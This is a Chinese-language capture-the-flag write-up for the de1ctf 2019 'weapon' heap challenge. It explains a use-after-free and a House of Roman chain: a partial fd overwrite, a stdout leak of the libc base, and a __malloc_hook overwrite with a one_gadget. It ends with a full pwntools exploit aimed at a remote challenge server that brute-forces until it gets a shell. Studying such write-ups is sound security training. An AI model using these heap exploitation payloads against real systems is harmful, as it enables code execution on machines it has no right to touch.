de1ctf_2019_weapon

依旧是一道 House Of Roman + _IO_2_1_stdout 的例题

1775304116547-6157ec03-5bb8-42c7-92ff-c86783989824.png

函数分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  while ( 1 )
  {
    menu();
    v3 = scanf();
    switch ( v3 )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        rename();
        break;
      default:
        puts("Incalid choice!");
        break;
    }
  }
}

create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 create()
{
  int size; // [rsp+8h] [rbp-18h] BYREF
  int index; // [rsp+Ch] [rbp-14h]
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("wlecome input your size of weapon: ");
  _isoc99_scanf("%d", &size);
  if ( size <= 0 || size > 96 )
  {
    printf("The size of weapon is too dangers!!");
    exit(0);
  }
  printf("input index: ");
  index = scanf();
  v3 = malloc(size);
  if ( !v3 )
  {
    printf("malloc error");
    exit(0);
  }
  dword_202068[4 * index] = size;
  *((_QWORD *)&unk_202060 + 2 * index) = v3;
  puts("input your name:");
  sub_AF6(*((_QWORD *)&unk_202060 + 2 * index), (unsigned int)size);
  return 0;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = scanf();
  free(*((void **)&unk_202060 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

UAF

rename

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 rename()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx: ");
  v1 = scanf();
  puts("new content:");
  read_0(*((_QWORD *)&unk_202060 + 2 * v1), (unsigned int)dword_202068[4 * v1]);
  puts("Done !");
  return __readfsqword(0x28u) ^ v2;
}

修改内容

EXP 思路：

构造堆布局：

1
2
3
4
add(0x58,0,b'a'*0x48+p64(0x61))  # 0
add(0x60,1,b'a')                 # 1
add(0x18,2,b'a')                 # 2
add(0x58,3,b'a')                 # 3
  • 首先申请了 4 个 Chunk。注意 0x58 和 0x60 加上 chunk header 后，实际分配的大小（Size）分别为 0x60 和 0x70。
  • 在申请 chunk 0 时，提前在偏移 0x48 的位置伪造了一个 size 字段 p64(0x61)。这是为了后续 Fastbin 攻击伪造的 Fake Chunk 做准备。
1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x5558e1333000  
0x5558e1333000: 0x0000000000000000      0x0000000000000061 ==> chunk0
0x5558e1333010: 0x6161616161616161      0x6161616161616161
0x5558e1333020: 0x6161616161616161      0x6161616161616161
0x5558e1333030: 0x6161616161616161      0x6161616161616161
0x5558e1333040: 0x6161616161616161      0x6161616161616161
0x5558e1333050: 0x6161616161616161      0x0000000000000061 ==> fake_chunk_size
0x5558e1333060: 0x0000000000000000      0x0000000000000071 ==> chunk1
0x5558e1333070: 0x0000000000000061      0x0000000000000000

利用 UAF 制造 Fastbin Dup (Partial Overwrite)

1
2
3
4
5
6
free(1)
free(3)
free(0)
# gdb.attach(p)
edit(0,p8(0x50))
# gdb.attach(p)
1775305357702-b1bfe6c9-888c-4fc7-ac0d-af7883a6cc48.png
  • 依次释放 1、3、0。此时 Fastbin 0x60 的链表为：chunk 0 -> chunk 3。
  • 程序在 free 后没有将指针置空存在 UAF 漏洞。利用 edit(0)，覆盖 chunk 0 的 fd 指针的最低一个字节，将其修改为 0x50。
  • 这使得 chunk 0 的 fd 不再指向 chunk 3，而是指向了 chunk 0 内部地址往前偏移的位置。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap                                                                                                                                                          
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.                                                 
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.                                                                         
                                                                                                                                                                      
Free chunk (fastbins) | PREV_INUSE                                                                                                                                    
Addr: 0x55ca22c9c000                                                                                                                                                  
Size: 0x60 (with flag bits: 0x61)                                                                                                                                     
fd: 0x55ca22c9c050                                                                                                                                                    
                                                                                                                                                                      
Free chunk (fastbins) | PREV_INUSE                                                                                                                                    
Addr: 0x55ca22c9c060                                                                                                                                                  
Size: 0x70 (with flag bits: 0x71)                                                                                                                                     
fd: 0x00                                                                                                                                                              
                                                                                                                                                                      
Allocated chunk | PREV_INUSE                                                                                                                                          
Addr: 0x55ca22c9c0d0                                                                                                                                                  
Size: 0x20 (with flag bits: 0x21)                                                                                                                                     
                                                                                                                                                                      
Allocated chunk | PREV_INUSE                                                                                                                                          
Addr: 0x55ca22c9c0f0                                                                                                                                                  
Size: 0x60 (with flag bits: 0x61)                                                                                                                                     
                                                                                                                                                                      
Top chunk | PREV_INUSE                                                                                                                                                
Addr: 0x55ca22c9c150                                                                                                                                                  
Size: 0x20eb0 (with flag bits: 0x20eb1)    
                                                                                                                                                               
pwndbg> bins
fastbins
0x60: 0x55ca22c9c000 —▸ 0x55ca22c9c050 ◂— 0
0x70: 0x55ca22c9c060 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>

Overlapping 修改 chunk1_size

1
2
add(0x58,4,b'a')
add(0x58,5,b'a'*8+p64(0x91))
  • 再次申请两次 0x58 的 chunk。chunk 4 拿回了原来的 chunk 0。
  • chunk 5 拿到了刚才伪造的 Fake Chunk。这个 Fake Chunk 的Overlap到了 chunk 1 的头部。
  • 通过 add(…, 5) 写入数据，将 chunk 1 原本的 size（0x71）篡改为了 0x91。
1775306289816-51458cf8-0806-42bf-8272-89c7f7bd1323.png 
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20gx 0x5624f4249000
0x5624f4249000: 0x0000000000000000      0x0000000000000061 ==> chunk4 -> chunk0
0x5624f4249010: 0x00005624f4249061      0x6161616161616161
0x5624f4249020: 0x6161616161616161      0x6161616161616161
0x5624f4249030: 0x6161616161616161      0x6161616161616161
0x5624f4249040: 0x6161616161616161      0x6161616161616161
0x5624f4249050: 0x6161616161616161      0x0000000000000061 ==> chunk5 -> fake_chunk_size
0x5624f4249060: 0x6161616161616161      0x0000000000000091 ==> chunk1
0x5624f4249070: 0x0000000000000000      0x0000000000000000
0x5624f4249080: 0x0000000000000000      0x0000000000000000
0x5624f4249090: 0x0000000000000000      0x0000000000000000

UnSortedbin + Roman 爆破 找 IO_2_1_stdout

1
2
free(1)
edit(1,p16(0xa5dd))
1775306974991-69347ac2-c04e-448f-b4d4-1a4fbcf6c263.png 
1
find /g  ...-0x100, +0x100, 0x7f
  • 由于 chunk1 的 size 位被篡改为 0x90，free 时会被放入 UnSortedbin 当中
  • 此时 chunk1 的 fd 和 bk 同时指向 main_arena + 88
  • 找一下符合绕过 fastbin 的以 0x7f 开头的地址去泄露 IO_2_1_stdout，0xa 是爆破 ASLR 的 4 个 bit 位

修复 Size 并泄露 Libc 基址

1
2
3
4
5
6
7
edit(5,b'a'*8+p64(0x71))
add(0x60,6,b'a')
add(0x60,7,b'\0'*0x33+p64(0xfbad1887)+p64(0)*3+b'\0')
_IO_2_1_stdout_ = u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')
info(f'[*][*][*]_IO_2_1_stdout_ is:{_IO_2_1_stdout_}')
libc_addr = _IO_2_1_stdout_ - 0x3c5600
info(f'[*][*][*]libc_addr is :{libc_addr}')
  • 将 chunk 1 的 size 改回 0x71，修复 Fastbin 链表结构以防崩溃。
  • 连续分配两次 0x60，第二次chunk 7就会分配到我们刚才指向的 IO_2_1_stdout 伪造区块。
  • 写入特定的 Payload（0xfbad1887 和一串 0），篡改 IO_2_1_stdout 的标志位（flags）和写指针。这会欺骗 glibc，使其在下一次调用输出函数（如 puts/printf）时，直接把 libc 内存里的数据当成字符串打印出来。
  • 接收打印出的数据，减去固定偏移 0x3c5600（glibc 2.23 中 stdout 相对 libc 基址的偏移），成功获取 libc_addr。

Hijack __malloc_hook 与 One Gadget 调栈

1
2
3
4
free(1)
edit(1,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
add(0x60,1,b'a')
add(0x60,8,b'a'*0xb+p64(libc_addr+one[1])+p64(libc_addr+libc.sym['realloc']+4))
  • 有了 libc 地址，接下来就是拿 shell。再次释放 chunk 1 进入 Fastbin 0x70。
  • 利用 UAF 改写 fd，指向 __malloc_hook - 0x23 处,此处内存天然存在一个 0x7f 的值，可作为伪造的 size 绕过安全检查。
  • 分配拿到这个 Fake Chunk（chunk 8），进行数据覆写：
  • 写入目标：__realloc_hook 写入 One Gadget
  • 写入目标：__malloc_hook 写入 realloc+4 的地址。
  • 为什么要写 realloc+4？ 这个技巧叫做调栈。One Gadget 通常对栈环境（如 [rsp+0x30] == NULL）有苛刻要求，直接跳可能无法执行。先跳到 realloc+4，会执行一段 push 寄存器的指令，强行改变栈指针偏移，进而满足 One Gadget 的触发条件，然后再由 realloc 跳转到 __realloc_hook 执行 One Gadget。

循环爆破

1
2
3
4
5
p.sendlineafter(b'choice >>',b'1')
...
while 1:
    try: pwn()
    ...

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

#context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
    if x:
        p=process(file_name)
        libc=ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
    else:
        p=remote('node5.buuoj.cn',28251)
        libc=ELF('./x64libc-2.23.so')
    return ELF(file_name),libc,p
    
def add(size,index,name):
    p.sendlineafter(b'choice >>',b'1')
    p.sendlineafter(b'weapon: ',str(size))
    p.sendlineafter(b'index: ',str(index))
    p.sendafter(b'name:',name)
    
def free(index):
    p.sendlineafter(b'choice >>',b'2')
    p.sendlineafter(b'idx :',str(index))

def edit(index,payload):
    p.sendlineafter(b'choice >>',b'3')
    p.sendlineafter(b'idx: ',str(index))
    p.sendafter(b'content:',payload)
    
def pwn():
    global p
    elf,libc,p=conn(0,'./weapon')

    add(0x58,0,b'a'*0x48+p64(0x61))
    add(0x60,1,b'a')
    add(0x18,2,b'a')
    add(0x58,3,b'a')

    free(1)
    free(3)
    free(0)
    #gdb.attach(p)
    edit(0,p8(0x50))

    add(0x58,4,b'a')
    add(0x58,5,b'a'*8+p64(0x91))

    free(1)
    edit(1,p16(0xa5dd))

    edit(5,b'a'*8+p64(0x71))
    add(0x60,6,b'a')
    add(0x60,7,b'\0'*0x33+p64(0xfbad1887)+p64(0)*3+b'\0')

    libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-0x3c5600
    success('libc_addr:'+hex(libc_addr))

    #one=[0x45226,0x4527a,0xf03a4,0xf1247]
    one=[0x45216,0x4526a,0xf02a4,0xf1147]

    free(1)
    edit(1,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
    add(0x60,1,b'a')
    add(0x60,8,b'a'*0xb+p64(libc_addr+one[1])+p64(libc_addr+libc.sym['realloc']+4))
    p.sendlineafter(b'choice >>',b'1')
    p.sendlineafter(b'weapon: ',str(1))
    p.sendlineafter(b'index: ',str(1))
    p.interactive()

if __name__=='__main__':
    while 1:
        try:
            pwn()
        except:
            p.close()
1775302199718-df78ac95-5b33-40e9-8768-a79b68fdd0e9.png

更新: 2026-04-15 19:50:25
原文: https://www.yuque.com/idcm/wnemg9/azw0egv8bflfugnx